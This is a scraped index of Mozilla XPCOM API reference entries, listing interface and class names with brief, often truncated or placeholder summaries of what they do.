@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
nsCAutoString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
nsCOMPtr
« xpcom api reference summary this utility class simplifies managing xpcom interface references from c++ code.
nsCString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
nsCStringEncoding
« xpcom api reference summary the nscstringencoding enumeration describes the set of character encodings understood by the ns_cstringtoutf16 and ns_utf16tocstring functions.
get
« xpcom api reference summary the get function returns a const pointer to the string's null-terminated, internal buffer.
nsEmbedCString
« xpcom api reference summary constructors for nsembedcstring.
operator=
« xpcom api reference summary this operator is a shortcut for the inherited nsacstring::assign family of functions.
nsEmbedCString
« xpcom api reference summary the nsembedcstring concrete class provides a way to construct a nsacstring object that allocates null-terminated storage.
get
« xpcom api reference summary the get function returns a const pointer to the string's null-terminated, internal buffer.
nsEmbedString
« xpcom api reference summary constructors for nsembedstring.
operator=
« xpcom api reference summary this operator is a shortcut for the inherited nsastring::assign family of functions.
nsEmbedString
« xpcom api reference summary the nsembedstring concrete class provides a way to construct a nsastring object that allocates null-terminated storage.
nsFixedCString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
nsFixedString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
Alloc
« xpcom api reference summary the alloc function allocates a block of memory of a particular size.
Clone
« xpcom api reference summary the clone function creates a copy of an existing memory block up to the size specified.
Free
« xpcom api reference summary the free function frees a block of memory that was allocated by xpcom's memory manager.
GetGlobalMemoryService
« xpcom api reference summary the getglobalmemoryservice function returns a reference to xpcom's global nsimemory object.
Realloc
« xpcom api reference summary the realloc function reallocates a block of memory to a new size.
nsMemory
« xpcom api reference summary the nsmemory class provides static helper routines to manage memory.
nsPromiseFlatCString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
nsPromiseFlatString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
nsString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
nsSupportsWeakReference
« xpcom api reference summary inherit from this c++ class to add canonical support for nsisupportsweakreference.
nsXPIDLCString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
nsXPIDLString
@param aset -- contains chars to be trimmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string.
IAccessible2
other-licenses/ia2/accessible2.idlnot scriptable please add a summary to this article.
amIWebInstallInfo
toolkit/mozapps/extensions/amiwebinstalllistener.idlscriptable this interface is used by the default implementation of amiwebinstalllistener to communicate with the running application and allow it to warn the user about blocked installs and start the installs running.
imgICache
image/public/imgicache.idlscriptable please add a summary to this article.
imgIEncoder
modules/libpr0n/public/imgiencoder.idlscriptable please add a summary to this article.
imgILoader
modules/libpr0n/public/imgiloader.idlscriptable please add a summary to this article.
imgIRequest
modules/libpr0n/public/imgirequest.idlscriptable please add a summary to this article.
jsdIStackFrame
js/jsd/idl/jsdidebuggerservice.idlscriptable please add a summary to this article.
mozIStorageAggregateFunction
storage/public/mozistorageaggregatefunction.idlscriptable please add a summary to this article.
mozIStorageBindingParams
storage/public/mozistoragebindingparams.idlscriptable please add a summary to this article.
mozIStorageBindingParamsArray
storage/public/mozistoragebindingparamsarray.idlscriptable please add a summary to this article.
mozIStorageCompletionCallback
storage/public/mozistoragecompletioncallback.idlscriptable please add a summary to this article.
mozIStorageError
storage/public/mozistorageerror.idlscriptable please add a summary to this article.
mozIStorageFunction
storage/public/mozistoragefunction.idlscriptable please add a summary to this article.
mozIStoragePendingStatement
storage/public/mozistoragependingstatement.idlscriptable please add a summary to this article.
mozIStorageProgressHandler
storage/public/mozistorageprogresshandler.idlscriptable please add a summary to this article.
mozIStorageResultSet
storage/public/mozistorageresultset.idlscriptable please add a summary to this article.
mozIStorageRow
storage/public/mozistoragerow.idlscriptable please add a summary to this article.
mozIStorageStatementCallback
storage/public/mozistoragestatementcallback.idlscriptable please add a summary to this article.
mozIStorageStatementWrapper
storage/public/mozistoragestatementwrapper.idlscriptable please add a summary to this article.
mozIStorageVacuumParticipant
the recommended value is mozistorageconnection::default_page_size.
mozIStorageValueArray
storage/public/mozistoragevaluearray.idlscriptable please add a summary to this article.
mozITXTToHTMLConv
netwerk/streamconv/public/mozitxttohtmlconv.idlscriptable please add a summary to this article.
nsIAccessibilityService
accessible/public/nsiaccessibilityservice.idlscriptable please add a summary to this article.
Attributes
« nsiaccessible page summary attributes of accessible.
ChildCount
« nsiaccessible page summary number of accessible children.
Children
« nsiaccessible page summary array of all this node's children.
DefaultKeyBinding
« nsiaccessible page summary provides localized string of global keyboard accelerator for default action, such as ctrl+o for open file (ctrl + o).
Description
« nsiaccessible page summary accessible description -- long text associated with this node.
DoAction
« nsiaccessible page summary this method performs the accessible action at the given zero-based index.
ExtendSelection
« nsiaccessible page summary this method extends the current selection from its current accessible anchor node to this accessible.
FirstChild
« nsiaccessible page summary returns first child node in accessible tree.
FocusedChild
« nsiaccessible page summary focused accessible child of node.
GetAccessibleAbove
« nsiaccessible page summary this method returns an accessible node geometrically above this one.
GetAccessibleBelow
« nsiaccessible page summary this method returns an accessible node geometrically below this one.
GetAccessibleRelated
« nsiaccessible page summary this method returns an accessible related to this one by the given relation type.
GetAccessibleToLeft
« nsiaccessible page summary this method returns an accessible node geometrically to the left of this one.
GetAccessibleToRight
« nsiaccessible page summary this method returns an accessible node geometrically to the right of this one.
GetActionDescription
« nsiaccessible page summary this method retrieves the description (localized name) of the accessible action at the given zero-based index.
GetActionName
« nsiaccessible page summary this method retrieves the name of the accessible action at the given zero-based index.
GetBounds
« nsiaccessible page summary this method returns accessible's (x and y) coordinates relative to the screen and accessible's width and height.
GetChildAt
« nsiaccessible page summary this method returns nth accessible child using zero-based index.
GetChildAtPoint
« nsiaccessible page summary this method returns an accessible child which contains the coordinate at (x, y) in screen pixels.
GetKeyBindings
« nsiaccessible page summary this method provides array of localized string of global keyboard accelerator for the given action index supported by accessible.
GetRelation
« nsiaccessible page summary this method returns accessible relation for this accessible object by index.
GetRelations
« nsiaccessible page summary this method returns multiple accessible relations for this accessible object.
GetState
« nsiaccessible page summary this method retrieves states of the accessible.
GroupPosition
« nsiaccessible page summary this method returns grouping information.
Help
« nsiaccessible page summary help text associated with node.
IndexInParent
« nsiaccessible page summary the 0-based index of this accessible in its parent's list of children, or -1 if this accessible does not have a parent.
KeyboardShortcut
« nsiaccessible page summary provides localized string of accesskey name, such as alt+d (alt + d).
LastChild
« nsiaccessible page summary returns last child node in accessible tree.
Name
« nsiaccessible page summary accessible name -- the main text equivalent for this node.
NextSibling
« nsiaccessible page summary returns next sibling in accessible tree.
NumActions
« nsiaccessible page summary the number of accessible actions associated with this accessible.
Parent
« nsiaccessible page summary returns parent node in accessible tree.
PreviousSibling
« nsiaccessible page summary returns previous node in accessible tree.
RelationsCount
« nsiaccessible page summary returns the number of accessible relations for this object.
Role
« nsiaccessible page summary enumerated accessible role for the associated element.
SetSelected
« nsiaccessible page summary this method adds or remove this accessible to the current selection.
TakeFocus
« nsiaccessible page summary this method focuses this accessible node.
TakeSelection
« nsiaccessible page summary this method selects this accessible node only.
Value
« nsiaccessible page summary accessible value -- a number or a secondary text equivalent for this node.
nsIAccessibleCaretMoveEvent
accessible/public/nsiaccessibleevent.idlscriptable please add a summary to this article.
nsIAccessibleCoordinateType
coordtype_parent_relative 0x02 the coordinates are relative to the upper left corner of the bounding box of the immediate parent.
nsIAccessibleEvent
event_table_summary_changed 0x003e 0x003a a table's summary changed.
nsIAccessibleProvider
constants common use constants constant value description noaccessible 0 do not create an accessible for this object this is useful if an ancestor binding already implements nsiaccessibleprovider, but no accessible is desired for the inheriting binding.
nsIAccessibleRole
role_menuitem 12 represents a menu item, which is an entry in a menu that a user can choose to carry out a command, select an option.
nsIAccessibleStateChangeEvent
accessible/public/nsiaccessibleevent.idlscriptable please add a summary to this article.
nsIAccessibleTableCell
accessible/public/nsiaccessibletable.idlscriptable please add a summary to this article.
nsIAccessibleTableChangeEvent
accessible/public/nsiaccessibleevent.idlscriptable please add a summary to this article.
nsIAccessibleText
accessible/public/nsiaccessibletext.idlscriptable please add a summary to this article.
nsIAccessibleTextChangeEvent
accessible/public/nsiaccessibleevent.idlscriptable please add a summary to this article.
nsIAccessibleTreeCache
accessible/public/nsiaccessibletreecache.idlnot scriptable please add a summary to this article.
nsIAccessibleValue
accessible/public/nsiaccessiblevalue.idlscriptable please add a summary to this article.
nsIAccessibleWin32Object
accessible/public/msaa/nsiaccessiblewin32object.idlscriptable please add a summary to this article.
nsIAlertsService
toolkit/components/alerts/nsialertsservice.idlscriptable this interface can be used to notify the user of something that does not require an immediate reaction.
nsIAnnotationObserver
toolkit/components/places/public/nsiannotationservice.idlscriptable please add a summary to this article.
nsIAppShell
void create( inout int argc, inout string argv ); parameters argc the number of parameters passed in on the command line.
nsIApplicationCacheChannel
netwerk/base/public/nsiapplicationcachechannel.idlscriptable this interface is implemented by communication channels that support application caches.
nsIApplicationUpdateService
this information is most commonly used to update a user interface that informs the user as to the status of an update.
nsIAuthModule
confidential if set to true, it will encrypt the data, otherwise data will just be integrity protected (checksummed).
nsIAuthPromptWrapper
embedding/components/windowwatcher/public/nsiauthpromptwrapper.idlscriptable please add a summary to this article.
nsIAutoCompleteInput
showcommentcolumn boolean if true, a column is added to the popup, showing the comment for each autocomplete result.
nsIAutoCompleteObserver
toolkit/components/autocomplete/public/nsiautocompletesearch.idlscriptable please add a summary to this article.
nsIBadCertListener2
boolean notifycertproblem( in nsiinterfacerequestor socketinfo, in nsisslstatus status, in autf8string targetsite ); parameters socketinfo a network communication context that can be used to obtain more information about the active connection.
nsIBlocklistService
xpcom/system/nsiblocklistservice.idlscriptable please add a summary to this article.
nsIBoxObject
layout/xul/base/public/nsiboxobject.idlscriptable please add a summary to this article.
nsIBrowserBoxObject
layout/xul/base/public/nsibrowserboxobject.idlscriptable please add a summary to this article.
nsICRLManager
security/manager/ssl/public/nsicrlmanager.idlscriptable please add a summary to this article.
nsICache
netwerk/cache/public/nsicache.idlscriptable please add a summary to this article.
nsICacheService
at the time of writing there is no documentation for nsicachestorageservice but comments are available in the source.
nsICachingChannel
netwerk/base/public/nsicachingchannel.idlscriptable please add a summary to this article.
nsICharsetResolver
intl/chardet/public/nsicharsetresolver.idlscriptable please add a summary to this article.
nsIClipboardDragDropHookList
you should access these capabilities indirectly by sending commands using the nsiclipboarddragdrophooks interface.
nsIClipboardHelper
widget/public/nsiclipboardhelper.idlscriptable the nsiclipboardhelper interface is a helper service for common uses of nsiclipboard interface.
nsIClipboardOwner
widget/public/nsiclipboardowner.idlscriptable please add a summary to this article.
nsIConsoleService
service.getmessagearray(); } to retrieve the message array in a compatible way: function getconsolemessagearray() { var consoleservice = components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice); var array = {}; return consoleservice.getmessagearray(array, {}) || array.value; } logging a simple message a common usage is logging a message string to the console: function log(msg) { var consoleservice = components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice); consoleservice.logstringmessage(msg); } alternative logging methods include components.utils.reporterror and dump().
nsIContainerBoxObject
layout/xul/base/public/nsicontainerboxobject.idlscriptable please add a summary to this article.
nsIContentPrefService
dom/interfaces/base/nsicontentprefservice.idlscriptable please add a summary to this article.
nsICookie
netwerk/cookie/nsicookie.idlscriptable please add a summary to this article.
nsICookie2
netwerk/cookie/nsicookie2.idlscriptable please add a summary to this article.
nsICookieConsent
netwerk/cookie/public/nsicookieconsent.idlscriptable please add a summary to this article.
nsICookieManager
netwerk/cookie/nsicookiemanager.idlscriptable please add a summary to this article.
nsICookieManager2
netwerk/cookie/nsicookiemanager2.idlscriptable please add a summary to this article.
nsICookiePermission
the nsicookiepermission interface is used to test for cookie permissions netwerk/cookie/nsicookiepermission.idlscriptable please add a summary to this article.
nsICookiePromptService
extensions/cookie/nsicookiepromptservice.idlscriptable please add a summary to this article.
nsICrashReporter
native code only!writeminidumpforexception write a minidump immediately, with the user-supplied exception information.
nsICurrentCharsetListener
intl/uconv/idl/nsicurrentcharsetlistener.idlscriptable please add a summary to this article.
nsIDBChangeListener
common events should be documented here so we have a hope of keeping the documentation up to date.
nsIDNSListener
netwerk/dns/nsidnslistener.idlscriptable please add a summary to this article.
nsIDOMFile
content/base/public/nsidomfile.idlscriptable please add a summary to this article.
nsIDOMFileException
content/base/public/nsidomfileexception.idlscriptable please add a summary to this article.
nsIDOMFileReader
content/base/public/nsidomfilereader.idlscriptable please add a summary to this article.
nsIDOMGeoPositionCallback
dom/interfaces/geolocation/nsidomgeopositioncallback.idlscriptable please add a summary to this article.
nsIDOMGeoPositionCoords
dom/interfaces/geolocation/nsidomgeopositioncoords.idlscriptable please add a summary to this article.
nsIDOMGeoPositionError
dom/interfaces/geolocation/nsidomgeopositionerror.idlscriptable please add a summary to this article.
nsIDOMGeoPositionErrorCallback
dom/interfaces/geolocation/nsidomgeopositionerrorcallback.idlscriptable please add a summary to this article.
nsIDOMGeoPositionOptions
dom/interfaces/geolocation/nsidomgeopositionoptions.idlscriptable please add a summary to this article.
nsIDOMGlobalPropertyInitializer
it is also recommended to use __exposedprops__ to control which members are exposed.
nsIDOMHTMLAudioElement
dom/interfaces/html/nsidomhtmlaudioelement.idlscriptable please add a summary to this article.
nsIDOMHTMLSourceElement
dom/interfaces/html/nsidomhtmlsourceelement.idlscriptable please add a summary to this article.
nsIDOMHTMLTimeRanges
dom/interfaces/html/nsidomhtmltimeranges.idlscriptable please add a summary to this article.
nsIDOMNode
constants constant value description element_node 1 attribute_node 2 text_node 3 cdata_section_node 4 entity_reference_node 5 entity_node 6 processing_instruction_node 7 comment_node 8 document_node 9 document_type_node 10 document_fragment_node 11 notation_node 12 methods appendchild() nsidomnode appendchild( in nsidomnode newchild ); parameters newchild return value clonenode() nsidomnode clonenode( in boolean deep ); parameters deep return value hasattributes() boolean hasattributes(); parameters none.
nsIDOMOfflineResourceList
dom/interfaces/offline/nsidomofflineresourcelist.idlscriptable please add a summary to this article.
nsIDOMOrientationEvent
dom/interfaces/events/nsidomorientationevent.idlscriptable please add a summary to this article.
nsIDOMSimpleGestureEvent
1.0 66 introduced gecko 1.9.1 inherits from: nsidommouseevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) the nsidomsimplegestureevent interface is the datatype for all mozilla-specific simple gesture events in the document object model.
nsIDOMStorage2
dom/public/idl/storage/nsidomstorage2.idlscriptable please add a summary to this article.
nsIDOMXPathEvaluator
null is common for html documents or when no name space prefixes are used.
nsIDOMXULLabeledControlElement
command domstring this property reflects the element's command attribute.
nsIDOMXULSelectControlElement
dom/interfaces/xul/nsidomxulselectcntrlel.idlscriptable please add a summary to this article.
nsIDialogCreator
embedding/base/nsidialogcreator.idlscriptable please add a summary to this article.
nsIDictionary
66 introduced gecko 1.0 obsolete gecko 1.9.1 inherits from: nsisummary last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) note: this interface was removed in firefox 3.5; use dict.jsm instead.
nsIDirIndexParser
attributes attribute type description comment string the comment given, if any.
nsIDirectoryIterator
xpcom/obsolete/nsifilespec.idlscriptable please add a summary to this article.
getFile
in_startmenu_dir "strt" same thing as ns_os_desktop_dir ns_win_desktop_directory "deskp" file sys dir which physically stores objects on desktop ns_win_drives_dir "drivs" ns_win_network_dir "netw" ns_win_nethood_dir "neth" ns_win_fonts_dir "fnts" ns_win_templates_dir "tmpls" ns_win_common_startmenu_dir "cmstrt" ns_win_common_programs_dir "cmprgs" ns_win_common_startup_dir "cmstrt" ns_win_common_desktop_directory "cmdeskp" ns_win_appdata_dir "appdata" ns_win_local_appdata_dir "localappdata" ns_win_printhood "prnthd" ns_win_cookies_dir "cookd" availa...
getFiles
« xpcom api reference summary this method is called by the directory service to query an enumeration of file or directory locations.
nsIDiskCacheStreamInternal
netwerk/cache/nsidiskcachestreaminternal.idlscriptable please add a summary to this article.
nsIDispatchSupport
js/src/xpconnect/idl/nsidispatchsupport.idlnot scriptable please add a summary to this article.
nsIDownloadManager
toolkit/components/downloads/public/nsidownloadmanager.idlscriptable this interface lets applications and extensions communicate with the download manager, adding and removing files to be downloaded, fetching information about downloads, and being notified when downloads are completed.
nsIDownloadObserver
netwerk/base/public/nsidownloader.idlscriptable please add a summary to this article.
nsIDragService
methods native code only!dragmoved programmatically changes the drag position of the drag session.
nsIDroppedLinkHandler
dom/base/nsidroppedlinkhandler.idlscriptable please add a summary to this article.
nsIDroppedLinkItem
dom/base/nsidroppedlinkhandler.idlscriptable please add a summary to this article.
nsIEditorDocShell
methods makeeditable() make this docshell editable, setting a flag that causes an editor to get created, either immediately, or after a url has been loaded.
nsIEditorIMESupport
editor/idl/nsieditorimesupport.idlscriptable please add a summary to this article.
nsIEditorLogging
editor/idl/nsieditorlogging.idlscriptable please add a summary to this article.
nsIEnumerator
the interface commonly used for enumerators is nsisimpleenumerator.
nsIEventTarget
when this flag is specified, dispatch() returns immediately after the event is queued.
nsIException
xpcom/base/nsiexception.idlscriptable please add a summary to this article.
nsIFTPChannel
netwerk/protocol/ftp/nsiftpchannel.idlscriptable please add a summary to this article.
nsIFaviconDataCallback
toolkit/components/places/public/nsifaviconservice.idlscriptable please add a summary to this article.
nsIFilePicker
nstant value description returnok 0 the file picker dialog was closed by the user hitting 'ok' returncancel 1 the file picker dialog was closed by the user hitting 'cancel' returnreplace 2 the user chose an existing file and acknowledged that they want to overwrite the file filter constants these constants are used to create filters for commonly-used file types.
nsIFileStreams
netwerk/base/public/nsifilestreams.idlscriptable please add a summary to this article.
nsIFileURL
the getter returns a reference to an immutable object.
nsIFocusManager
dom/interfaces/base/nsifocusmanager.idlscriptable please add a summary to this article.
nsIFrameScriptLoader
for example: let windowmm = window.messagemanager; windowmm.loadframescript('data:,dump("foo\n");', true); this will load a separate instance of the frame script into every tab open in the window associated with this window message manager.
nsIGSettingsCollection
xpcom/system/nsigsettingsservice.idlscriptable please add a summary to this article.
nsIGSettingsService
xpcom/system/nsigsettingsservice.idlscriptable please add a summary to this article.
nsIHTMLEditor
editor/idl/nsihtmleditor.idlscriptable please add a summary to this article.
nsIHttpChannel
redirectto() instructs the channel to immediately redirect to a new destination.
nsIHttpChannelInternal
using features exposed by this interface is not recommended, as it will change in unpredictable ways.
nsIHttpHeaderVisitor
multiple values are separated by a comma.
nsIIFrameBoxObject
layout/xul/base/public/nsiiframeboxobject.idlscriptable please add a summary to this article.
nsIJSIID
« xpcom api reference summary [scriptable, uuid(e08dcda0-d651-11d2-9843-006008962422)] interface nsijsiid : nsijsid {}; ...
nsIJSON
to create an instance, use: var nativejson = components.classes["@mozilla.org/dom/json;1"] .createinstance(components.interfaces.nsijson); method overview note: the idl file has portions of the idl commented out because they represent things that can't actually be properly described by idl; however, for the purposes of this article, we'll pretend they can be and ignore that issue.
nsIJetpack
js/jetpack/nsijetpack.idlscriptable this interface enables communication between the chrome process and a remote jetpack process.
nsILocalFile
delete_on_close may be implemented by removing the file (by path name) immediately after opening it, so beware of possible races; the file should be exclusively owned by this process.
nsILoginInfo
toolkit/components/passwordmgr/public/nsilogininfo.idlscriptable please add a summary to this article.
nsILoginManagerPrompter
toolkit/components/passwordmgr/public/nsiloginmanagerprompter.idlscriptable please add a summary to this article.
nsILoginMetaInfo
this can be any arbitrary string, but a format as created by nsiuuidgenerator is recommended.
nsIMemoryReporter
mmap, virtualalloc, vm_allocate etc.
nsIMessageListenerManager
to access this service, use: var globalmm = components.classes["@mozilla.org/globalmessagemanager;1"] .getservice(components.interfaces.nsimessagelistenermanager); method overview void addmessagelistener(in astring messagename, in nsimessagelistener listener, [optional] in boolean listenwhenclosed) void removemessagelistener(in astring messagename,...
nsIMsgAccountManagerExtension
//github.com/realityripple/uxp/blob/master/mailnews/base/public/nsimsgaccountmanager.idlscriptable please add a summary to this article.
nsIMsgCustomColumnHandler
mailnews/base/public/nsimsgcustomcolumnhandler.idlscriptable please add a summary to this article.
nsIMsgDBHdr
headers are backed by the database: a call to these functions directly modifies the state of the database, although it is not saved until the database is committed.
nsIMsgFilter
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgfilter.idl attributes type attribute nsmsgruleactiontype type; priority // target priority..
nsIMsgFilterList
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgfilterlist.idl attributes folder attribute nsimsgfolder nsimsgfilterlist::folder version readonly attribute short nsimsgfilterlist::version arbitraryheaders readonly attribute acstring nsimsgfilterlist::arbitraryheaders shoulddownloadallheaders readonly attribute boolean nsimsgfilterlist::shoulddownloadallheaders filtercount readonly attribute unsigned long nsimsgfilterlist::filtercount loggingenabled attribute boolean nsimsgfilterlist::loggingenabled defaultfile attribute nsilocalfile nsimsgfilterlist::defaultfile logstream attribute nsioutputstream nsimsgfilterlist::logstream logurl readonly attribute acstring nsimsgfilterlist::logurl methods getfilterat() nsimsgfilter nsimsgfilterlist::getfilterat (in unsign...
nsIMsgRuleAction
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgfilter.idl [scriptable, uuid(190a2a18-d245-473a-a402-9f0814598c7f)] interface nsimsgruleaction : nsisupports { attribute nsmsgruleactiontype type; // target priority..
nsIMsgSearchNotify
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchnotify.idl [scriptable, uuid(ca37784d-352b-4c39-8ccb-0abc1a93f681)] interface nsimsgsearchnotify : nsisupports { void onsearchhit(in nsimsgdbhdr header, in nsimsgfolder folder); // notification that a search has finished.
nsIMsgSearchScopeTerm
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchscopeterm.idl [scriptable, uuid(934672c3-9b8f-488a-935d-87b4023fa0be)] interface nsimsgsearchscopeterm : nsisupports { nsiinputstream getinputstream(in nsimsgdbhdr ahdr); void closeinputstream(); readonly attribute nsimsgfolder folder; readonly attribute nsimsgsearchsession searchsession; }; ...
nsIMsgSearchValue
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchvalue.idl #include "nsmsgsearchcore.idl" interface nsimsgfolder; [scriptable, uuid(783758a0-cdb5-11dc-95ff-0800200c9a66)] interface nsimsgsearchvalue : nsisupports { // type of object attribute nsmsgsearchattribvalue attrib; // accessing these will throw an exception if the above // attribute does not match the type!
nsIMutableArray
xpcom/ds/nsimutablearray.idlscriptable this interface is a subclass of nsiarray that provides arrays that are mutable; that is, they can be altered programmatically.
nsINavHistoryBatchCallback
toolkit/components/places/public/nsinavhistoryservice.idlscriptable please add a summary to this article.
nsINavHistoryContainerResultNode
return value the index of the specified node into the list of immediate children of the container.
nsINavHistoryFullVisitResultNode
1.0 66 introduced gecko 1.9 inherits from: nsinavhistoryvisitresultnode last changed in gecko 1.9 (firefox 3) the information returned in this interface is not commonly used, hence its separation into a separate query type for efficiency.
nsINavHistoryQueryOptions
this is used for the attributes that are not commonly accessed to save space in the common case (the lists can be very long).
nsINavHistoryResultNode
obsolete since gecko 2.0 tags astring for uri nodes, this is a sorted list of the tags, delimited with commans, for the uri represented by this node.
nsINavHistoryResultViewer
void itemmoved( in nsinavhistoryresultnode anode, in nsinavhistorycontainerresultnode aoldparent, in unsigned long aoldindex, in nsinavhistorycontainerresultnode anewparent, in unsigned long anewindex ); parameters anode the moved item.
nsINavHistoryService
this will probably not be commonly used other than for backup/restore type operations.
nsIOutputStream
exceptions thrown ns_base_stream_would_block a non-blocking stream may throw this exception when written to if space for the data is not immediately available.
nsIPermission
netwerk/base/public/nsipermission.idlscriptable please add a summary to this article.
nsIPermissionManager
netwerk/base/nsipermissionmanager.idlscriptable please add a summary to this article.
nsIPipe
for example, if you try to read from an empty pipe that has not yet been closed, then if that pipe's input end is non-blocking, then the read call will fail immediately with ns_base_stream_would_block as the error condition.
nsIPrinterEnumerator
widget/nsiprintoptions.idlscriptable please add a summary to this article.
nsIPrintingPrompt
defaults for platform service: showprintdialog - displays a native dialog showpagesetup() - displays a xul dialog showprogress() - displays a xul dialog summary for windows embedders: stated once again: there is no "fallback" native platform support in gfx for the displaying of the native print dialog.
nsIPrivateBrowsingService
lastchangedbycommandline boolean indicates whether or not the last private browsing mode transition was performed on the command line (using either the -private or -private-toggle switches) rather than the user interface.
nsIProcessScriptLoader
for example: let ppmm = services.ppmm.getchildat(1); ppmm.loadprocessscript('data:,dump("foo\n");', true); parameters name type description aurl string url for the script to load.
nsIProperty
xpcom/ds/nsiproperty.idlscriptable please add a summary to this article.
nsIProxyInfo
netwerk/base/public/nsiproxyinfo.idlscriptable please add a summary to this article.
nsIResumableChannel
in both of these cases, no ondataavailable will be called, and onstoprequest will immediately follow with the same status code.
nsISSLErrorListener
boolean notifysslerror( in nsiinterfacerequestor socketinfo, in print32 error, in autf8string targetsite ); parameters socketinfo a network communication context that can be used to obtain more information about the active connection.
nsISSLSocketControl
this is used to encrypt plain-text data communication.
nsIScriptError
as addon author i would recommend using "chrome javascript" for logging exceptions caused by addon code.
nsIScriptableIO
network/base/public/nsiscriptableio.idlscriptable please add a summary to this article.
nsISearchEngine
netwerk/base/public/nsibrowsersearchservice.idlscriptable please add a summary to this article.
nsISearchSubmission
netwerk/base/public/nsibrowsersearchservice.idlscriptable please add a summary to this article.
nsISelection2
content/base/public/nsiselection2.idlscriptable please add a summary to this article.
nsISelection3
content/base/public/nsiselection3.idlscriptable please add a summary to this article.
nsISelectionImageService
layout/base/nsiselectionimageservice.idlnot scriptable please add a summary to this article.
nsIServerSocket
netwerk/base/public/nsiserversocket.idlscriptable please add a summary to this article.
nsISessionStore
note: calling setbrowserstate immediately replaces the current session, restoring the state of the entire application to the state passed in the astate parameter.
nsISocketTransport
netwerk/base/public/nsisockettransport.idlscriptable this interface specializes nsitransport for communication over network sockets.
nsISocketTransportService
for more details on communicating information about proxies like socks (which are transparent to upper protocols), see nsiproxiedprotocolhandler , nsiprotocolproxyservice or proxies in necko.
nsISound
_moz_menucommand the system sound when a menu item is executed.
nsISpeculativeConnect
the code implementing this method may use this information to start a tcp and/or ssl level handshake for that resource immediately so that it is ready (or at least in the process of becoming ready) when the transaction is actually submitted.
nsIStringBundle
it is recommended that you use the methods of xul:stringbundle to access these functions unless necessary.
nsIStringEnumerator
xpcom/ds/nsistringenumerator.idlscriptable please add a summary to this article.
nsISupports
queryinterface is a symmetric, transitive, and reflexive operator.
nsISupportsArray
xpcom/ds/nsisupportsarray.idlscriptable please add a summary to this article.
nsISyncJPAKE
services/crypto/component/nsisyncjpake.idlscriptable please add a summary to this article.
nsITaskbarPreview
widget/public/nsitaskbarpreview.idlscriptable this interface is used on microsoft windows as a common interface for both window and tab taskbar previews.
nsITaskbarPreviewController
the specified context is attached to a surface with the controller's width and height, the values of which are obtained immediately prior to calling this method.
nsITextInputProcessorCallback
example of simple js-ime: var simpleime = { _hasfocus: false, _hasrightstocompose: false, _tip: null, _callback: function simpleime_callback(atip, anotification) { try { switch (anotification.type) { case "request-to-commit": atip.commitcomposition(); break; case "request-to-cancel": atip.cancelcomposition(); break; case "notify-focus": this._hasfocus = true; break; case "notify-blur": this._hasfocus = false; break; case "notify-detached": this._hasfocus = false; this._hasrightstocomp...
nsIThreadEventFilter
xpcom/threads/nsithreadinternal.idlscriptable please add a summary to this article.
nsIThreadInternal
xpcom/threads/nsithreadinternal.idlscriptable please add a summary to this article.
nsIThreadManager
xpcom/threads/nsithreadmanager.idlscriptable please add a summary to this article.
nsIThreadObserver
xpcom/threads/nsithreadinternal.idlscriptable please add a summary to this article.
nsIThreadPool
a listener will only receive notifications about threads created after the listener is set so it is recommended that the consumer set the listener before dispatching the first event.
